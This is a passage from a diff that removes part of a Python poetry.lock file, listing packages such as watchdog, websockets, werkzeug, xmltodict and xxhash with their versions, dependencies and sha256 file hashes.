"sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948"}, - {file = "watchdog-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860"}, - {file = "watchdog-6.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0"}, - {file = "watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c"}, - {file = "watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134"}, - {file = "watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b"}, - {file = "watchdog-6.0.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:e6f0e77c9417e7cd62af82529b10563db3423625c5fce018430b249bf977f9e8"}, - {file = "watchdog-6.0.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:90c8e78f3b94014f7aaae121e6b909674df5b46ec24d6bebc45c44c56729af2a"}, - {file = "watchdog-6.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e7631a77ffb1f7d2eefa4445ebbee491c720a5661ddf6df3498ebecae5ed375c"}, - {file = "watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881"}, - {file = "watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11"}, - {file = "watchdog-6.0.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7a0e56874cfbc4b9b05c60c8a1926fedf56324bb08cfbc188969777940aef3aa"}, - {file = "watchdog-6.0.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:e6439e374fc012255b4ec786ae3c4bc838cd7309a540e5fe0952d03687d8804e"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c"}, - {file = "watchdog-6.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2"}, - {file = "watchdog-6.0.0-py3-none-win32.whl", hash = "sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a"}, - {file = "watchdog-6.0.0-py3-none-win_amd64.whl", hash = "sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680"}, - {file = "watchdog-6.0.0-py3-none-win_ia64.whl", hash = "sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f"}, - {file = "watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282"}, -] - -[package.extras] -watchmedo = ["PyYAML (>=3.10)"] - -[[package]] -name = "websockets" -version = "15.0.1" -description = "An implementation of the WebSocket Protocol (RFC 6455 & 7692)" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "websockets-15.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d63efaa0cd96cf0c5fe4d581521d9fa87744540d4bc999ae6e08595a1014b45b"}, - {file = "websockets-15.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ac60e3b188ec7574cb761b08d50fcedf9d77f1530352db4eef1707fe9dee7205"}, - {file = "websockets-15.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5756779642579d902eed757b21b0164cd6fe338506a8083eb58af5c372e39d9a"}, - {file = "websockets-15.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdfe3e2a29e4db3659dbd5bbf04560cea53dd9610273917799f1cde46aa725e"}, - {file = "websockets-15.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c2529b320eb9e35af0fa3016c187dffb84a3ecc572bcee7c3ce302bfeba52bf"}, - {file = "websockets-15.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1e5c9054fe23226fb11e05a6e630837f074174c4c2f0fe442996112a6de4fb"}, - {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5df592cd503496351d6dc14f7cdad49f268d8e618f80dce0cd5a36b93c3fc08d"}, - {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0a34631031a8f05657e8e90903e656959234f3a04552259458aac0b0f9ae6fd9"}, - {file = "websockets-15.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d00075aa65772e7ce9e990cab3ff1de702aa09be3940d1dc88d5abf1ab8a09c"}, - {file = "websockets-15.0.1-cp310-cp310-win32.whl", hash = "sha256:1234d4ef35db82f5446dca8e35a7da7964d02c127b095e172e54397fb6a6c256"}, - {file = "websockets-15.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:39c1fec2c11dc8d89bba6b2bf1556af381611a173ac2b511cf7231622058af41"}, - {file = "websockets-15.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:823c248b690b2fd9303ba00c4f66cd5e2d8c3ba4aa968b2779be9532a4dad431"}, - {file = "websockets-15.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678999709e68425ae2593acf2e3ebcbcf2e69885a5ee78f9eb80e6e371f1bf57"}, - {file = "websockets-15.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d50fd1ee42388dcfb2b3676132c78116490976f1300da28eb629272d5d93e905"}, - {file = "websockets-15.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d99e5546bf73dbad5bf3547174cd6cb8ba7273062a23808ffea025ecb1cf8562"}, - {file = "websockets-15.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:66dd88c918e3287efc22409d426c8f729688d89a0c587c88971a0faa2c2f3792"}, - {file = "websockets-15.0.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dd8327c795b3e3f219760fa603dcae1dcc148172290a8ab15158cf85a953413"}, - {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8fdc51055e6ff4adeb88d58a11042ec9a5eae317a0a53d12c062c8a8865909e8"}, - {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:693f0192126df6c2327cce3baa7c06f2a117575e32ab2308f7f8216c29d9e2e3"}, - {file = "websockets-15.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:54479983bd5fb469c38f2f5c7e3a24f9a4e70594cd68cd1fa6b9340dadaff7cf"}, - {file = "websockets-15.0.1-cp311-cp311-win32.whl", hash = "sha256:16b6c1b3e57799b9d38427dda63edcbe4926352c47cf88588c0be4ace18dac85"}, - {file = "websockets-15.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:27ccee0071a0e75d22cb35849b1db43f2ecd3e161041ac1ee9d2352ddf72f065"}, - {file = "websockets-15.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3e90baa811a5d73f3ca0bcbf32064d663ed81318ab225ee4f427ad4e26e5aff3"}, - {file = "websockets-15.0.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:592f1a9fe869c778694f0aa806ba0374e97648ab57936f092fd9d87f8bc03665"}, - {file = "websockets-15.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0701bc3cfcb9164d04a14b149fd74be7347a530ad3bbf15ab2c678a2cd3dd9a2"}, - {file = "websockets-15.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b56bdcdb4505c8078cb6c7157d9811a85790f2f2b3632c7d1462ab5783d215"}, - {file = "websockets-15.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0af68c55afbd5f07986df82831c7bff04846928ea8d1fd7f30052638788bc9b5"}, - {file = "websockets-15.0.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64dee438fed052b52e4f98f76c5790513235efaa1ef7f3f2192c392cd7c91b65"}, - {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d5f6b181bb38171a8ad1d6aa58a67a6aa9d4b38d0f8c5f496b9e42561dfc62fe"}, - {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5d54b09eba2bada6011aea5375542a157637b91029687eb4fdb2dab11059c1b4"}, - {file = "websockets-15.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be571a8b5afed347da347bfcf27ba12b069d9d7f42cb8c7028b5e98bbb12597"}, - {file = "websockets-15.0.1-cp312-cp312-win32.whl", hash = "sha256:c338ffa0520bdb12fbc527265235639fb76e7bc7faafbb93f6ba80d9c06578a9"}, - {file = "websockets-15.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcd5cf9e305d7b8338754470cf69cf81f420459dbae8a3b40cee57417f4614a7"}, - {file = "websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931"}, - {file = "websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675"}, - {file = "websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151"}, - {file = "websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22"}, - {file = "websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f"}, - {file = "websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8"}, - {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375"}, - {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d"}, - {file = "websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4"}, - {file = "websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa"}, - {file = "websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561"}, - {file = "websockets-15.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5f4c04ead5aed67c8a1a20491d54cdfba5884507a48dd798ecaf13c74c4489f5"}, - {file = "websockets-15.0.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:abdc0c6c8c648b4805c5eacd131910d2a7f6455dfd3becab248ef108e89ab16a"}, - {file = "websockets-15.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a625e06551975f4b7ea7102bc43895b90742746797e2e14b70ed61c43a90f09b"}, - {file = "websockets-15.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d591f8de75824cbb7acad4e05d2d710484f15f29d4a915092675ad3456f11770"}, - {file = "websockets-15.0.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:47819cea040f31d670cc8d324bb6435c6f133b8c7a19ec3d61634e62f8d8f9eb"}, - {file = "websockets-15.0.1-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac017dd64572e5c3bd01939121e4d16cf30e5d7e110a119399cf3133b63ad054"}, - {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:4a9fac8e469d04ce6c25bb2610dc535235bd4aa14996b4e6dbebf5e007eba5ee"}, - {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:363c6f671b761efcb30608d24925a382497c12c506b51661883c3e22337265ed"}, - {file = "websockets-15.0.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2034693ad3097d5355bfdacfffcbd3ef5694f9718ab7f29c29689a9eae841880"}, - {file = "websockets-15.0.1-cp39-cp39-win32.whl", hash = "sha256:3b1ac0d3e594bf121308112697cf4b32be538fb1444468fb0a6ae4feebc83411"}, - {file = "websockets-15.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:b7643a03db5c95c799b89b31c036d5f27eeb4d259c798e878d6937d71832b1e4"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0c9e74d766f2818bb95f84c25be4dea09841ac0f734d1966f415e4edfc4ef1c3"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1009ee0c7739c08a0cd59de430d6de452a55e42d6b522de7aa15e6f67db0b8e1"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76d1f20b1c7a2fa82367e04982e708723ba0e7b8d43aa643d3dcd404d74f1475"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f29d80eb9a9263b8d109135351caf568cc3f80b9928bccde535c235de55c22d9"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b359ed09954d7c18bbc1680f380c7301f92c60bf924171629c5db97febb12f04"}, - {file = "websockets-15.0.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:cad21560da69f4ce7658ca2cb83138fb4cf695a2ba3e475e0559e05991aa8122"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:7f493881579c90fc262d9cdbaa05a6b54b3811c2f300766748db79f098db9940"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:47b099e1f4fbc95b701b6e85768e1fcdaf1630f3cbe4765fa216596f12310e2e"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67f2b6de947f8c757db2db9c71527933ad0019737ec374a8a6be9a956786aaf9"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d08eb4c2b7d6c41da6ca0600c077e93f5adcfd979cd777d747e9ee624556da4b"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4b826973a4a2ae47ba357e4e82fa44a463b8f168e1ca775ac64521442b19e87f"}, - {file = "websockets-15.0.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:21c1fa28a6a7e3cbdc171c694398b6df4744613ce9b36b1a498e816787e28123"}, - {file = "websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f"}, - {file = "websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee"}, -] - -[[package]] -name = "werkzeug" -version = "3.1.5" -description = "The comprehensive WSGI web application library." -optional = false -python-versions = ">=3.9" -groups = ["dev"] -files = [ - {file = "werkzeug-3.1.5-py3-none-any.whl", hash = "sha256:5111e36e91086ece91f93268bb39b4a35c1e6f1feac762c9c822ded0a4e322dc"}, - {file = "werkzeug-3.1.5.tar.gz", hash = "sha256:6a548b0e88955dd07ccb25539d7d0cc97417ee9e179677d22c7041c8f078ce67"}, -] - -[package.dependencies] -markupsafe = ">=2.1.1" - -[package.extras] -watchdog = ["watchdog (>=2.3)"] - -[[package]] -name = "wordninja" -version = "2.0.0" -description = "Probabilistically split concatenated words using NLP based on English Wikipedia uni-gram frequencies." -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "wordninja-2.0.0.tar.gz", hash = "sha256:1a1cc7ec146ad19d6f71941ee82aef3d31221700f0d8bf844136cf8df79d281a"}, -] - -[[package]] -name = "xmltodict" -version = "0.14.2" -description = "Makes working with XML feel like you are working with JSON" -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "xmltodict-0.14.2-py2.py3-none-any.whl", hash = "sha256:20cc7d723ed729276e808f26fb6b3599f786cbc37e06c65e192ba77c40f20aac"}, - {file = "xmltodict-0.14.2.tar.gz", hash = "sha256:201e7c28bb210e374999d1dde6382923ab0ed1a8a5faeece48ab525b7810a553"}, -] - -[[package]] -name = "xmltojson" -version = "2.0.3" -description = "A Python module and cli tool to quickly convert xml text or files into json" -optional = false -python-versions = "<4.0,>=3.7" -groups = ["main"] -files = [ - {file = "xmltojson-2.0.3-py3-none-any.whl", hash = "sha256:1b68519bd14fbf3e28baa630b8c9116b5d3aa8976648f277a78ae3448498889a"}, - {file = "xmltojson-2.0.3.tar.gz", hash = "sha256:68a0022272adf70b8f2639186172c808e9502cd03c0b851a65e0760561c7801d"}, -] - -[package.dependencies] -xmltodict = "0.14.2" - -[[package]] -name = "xxhash" -version = "3.6.0" -description = "Python binding for xxHash" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "xxhash-3.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:87ff03d7e35c61435976554477a7f4cd1704c3596a89a8300d5ce7fc83874a71"}, - {file = "xxhash-3.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f572dfd3d0e2eb1a57511831cf6341242f5a9f8298a45862d085f5b93394a27d"}, - {file = "xxhash-3.6.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:89952ea539566b9fed2bbd94e589672794b4286f342254fad28b149f9615fef8"}, - {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:48e6f2ffb07a50b52465a1032c3cf1f4a5683f944acaca8a134a2f23674c2058"}, - {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b5b848ad6c16d308c3ac7ad4ba6bede80ed5df2ba8ed382f8932df63158dd4b2"}, - {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a034590a727b44dd8ac5914236a7b8504144447a9682586c3327e935f33ec8cc"}, - {file = "xxhash-3.6.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a8f1972e75ebdd161d7896743122834fe87378160c20e97f8b09166213bf8cc"}, - {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ee34327b187f002a596d7b167ebc59a1b729e963ce645964bbc050d2f1b73d07"}, - {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:339f518c3c7a850dd033ab416ea25a692759dc7478a71131fe8869010d2b75e4"}, - {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:bf48889c9630542d4709192578aebbd836177c9f7a4a2778a7d6340107c65f06"}, - {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:5576b002a56207f640636056b4160a378fe36a58db73ae5c27a7ec8db35f71d4"}, - {file = "xxhash-3.6.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:af1f3278bd02814d6dedc5dec397993b549d6f16c19379721e5a1d31e132c49b"}, - {file = "xxhash-3.6.0-cp310-cp310-win32.whl", hash = "sha256:aed058764db109dc9052720da65fafe84873b05eb8b07e5e653597951af57c3b"}, - {file = "xxhash-3.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:e82da5670f2d0d98950317f82a0e4a0197150ff19a6df2ba40399c2a3b9ae5fb"}, - {file = "xxhash-3.6.0-cp310-cp310-win_arm64.whl", hash = "sha256:4a082ffff8c6ac07707fb6b671caf7c6e020c75226c561830b73d862060f281d"}, - {file = "xxhash-3.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b47bbd8cf2d72797f3c2772eaaac0ded3d3af26481a26d7d7d41dc2d3c46b04a"}, - {file = "xxhash-3.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2b6821e94346f96db75abaa6e255706fb06ebd530899ed76d32cd99f20dc52fa"}, - {file = "xxhash-3.6.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d0a9751f71a1a65ce3584e9cae4467651c7e70c9d31017fa57574583a4540248"}, - {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b29ee68625ab37b04c0b40c3fafdf24d2f75ccd778333cfb698f65f6c463f62"}, - {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6812c25fe0d6c36a46ccb002f40f27ac903bf18af9f6dd8f9669cb4d176ab18f"}, - {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4ccbff013972390b51a18ef1255ef5ac125c92dc9143b2d1909f59abc765540e"}, - {file = "xxhash-3.6.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:297b7fbf86c82c550e12e8fb71968b3f033d27b874276ba3624ea868c11165a8"}, - {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dea26ae1eb293db089798d3973a5fc928a18fdd97cc8801226fae705b02b14b0"}, - {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7a0b169aafb98f4284f73635a8e93f0735f9cbde17bd5ec332480484241aaa77"}, - {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:08d45aef063a4531b785cd72de4887766d01dc8f362a515693df349fdb825e0c"}, - {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:929142361a48ee07f09121fe9e96a84950e8d4df3bb298ca5d88061969f34d7b"}, - {file = "xxhash-3.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:51312c768403d8540487dbbfb557454cfc55589bbde6424456951f7fcd4facb3"}, - {file = "xxhash-3.6.0-cp311-cp311-win32.whl", hash = "sha256:d1927a69feddc24c987b337ce81ac15c4720955b667fe9b588e02254b80446fd"}, - {file = "xxhash-3.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:26734cdc2d4ffe449b41d186bbeac416f704a482ed835d375a5c0cb02bc63fef"}, - {file = "xxhash-3.6.0-cp311-cp311-win_arm64.whl", hash = "sha256:d72f67ef8bf36e05f5b6c65e8524f265bd61071471cd4cf1d36743ebeeeb06b7"}, - {file = "xxhash-3.6.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:01362c4331775398e7bb34e3ab403bc9ee9f7c497bc7dee6272114055277dd3c"}, - {file = "xxhash-3.6.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b7b2df81a23f8cb99656378e72501b2cb41b1827c0f5a86f87d6b06b69f9f204"}, - {file = "xxhash-3.6.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:dc94790144e66b14f67b10ac8ed75b39ca47536bf8800eb7c24b50271ea0c490"}, - {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:93f107c673bccf0d592cdba077dedaf52fe7f42dcd7676eba1f6d6f0c3efffd2"}, - {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2aa5ee3444c25b69813663c9f8067dcfaa2e126dc55e8dddf40f4d1c25d7effa"}, - {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f7f99123f0e1194fa59cc69ad46dbae2e07becec5df50a0509a808f90a0f03f0"}, - {file = "xxhash-3.6.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:49e03e6fe2cac4a1bc64952dd250cf0dbc5ef4ebb7b8d96bce82e2de163c82a2"}, - {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bd17fede52a17a4f9a7bc4472a5867cb0b160deeb431795c0e4abe158bc784e9"}, - {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:6fb5f5476bef678f69db04f2bd1efbed3030d2aba305b0fc1773645f187d6a4e"}, - {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:843b52f6d88071f87eba1631b684fcb4b2068cd2180a0224122fe4ef011a9374"}, - {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:7d14a6cfaf03b1b6f5f9790f76880601ccc7896aff7ab9cd8978a939c1eb7e0d"}, - {file = "xxhash-3.6.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:418daf3db71e1413cfe211c2f9a528456936645c17f46b5204705581a45390ae"}, - {file = "xxhash-3.6.0-cp312-cp312-win32.whl", hash = "sha256:50fc255f39428a27299c20e280d6193d8b63b8ef8028995323bf834a026b4fbb"}, - {file = "xxhash-3.6.0-cp312-cp312-win_amd64.whl", hash = "sha256:c0f2ab8c715630565ab8991b536ecded9416d615538be8ecddce43ccf26cbc7c"}, - {file = "xxhash-3.6.0-cp312-cp312-win_arm64.whl", hash = "sha256:eae5c13f3bc455a3bbb68bdc513912dc7356de7e2280363ea235f71f54064829"}, - {file = "xxhash-3.6.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:599e64ba7f67472481ceb6ee80fa3bd828fd61ba59fb11475572cc5ee52b89ec"}, - {file = "xxhash-3.6.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7d8b8aaa30fca4f16f0c84a5c8d7ddee0e25250ec2796c973775373257dde8f1"}, - {file = "xxhash-3.6.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d597acf8506d6e7101a4a44a5e428977a51c0fadbbfd3c39650cca9253f6e5a6"}, - {file = "xxhash-3.6.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = 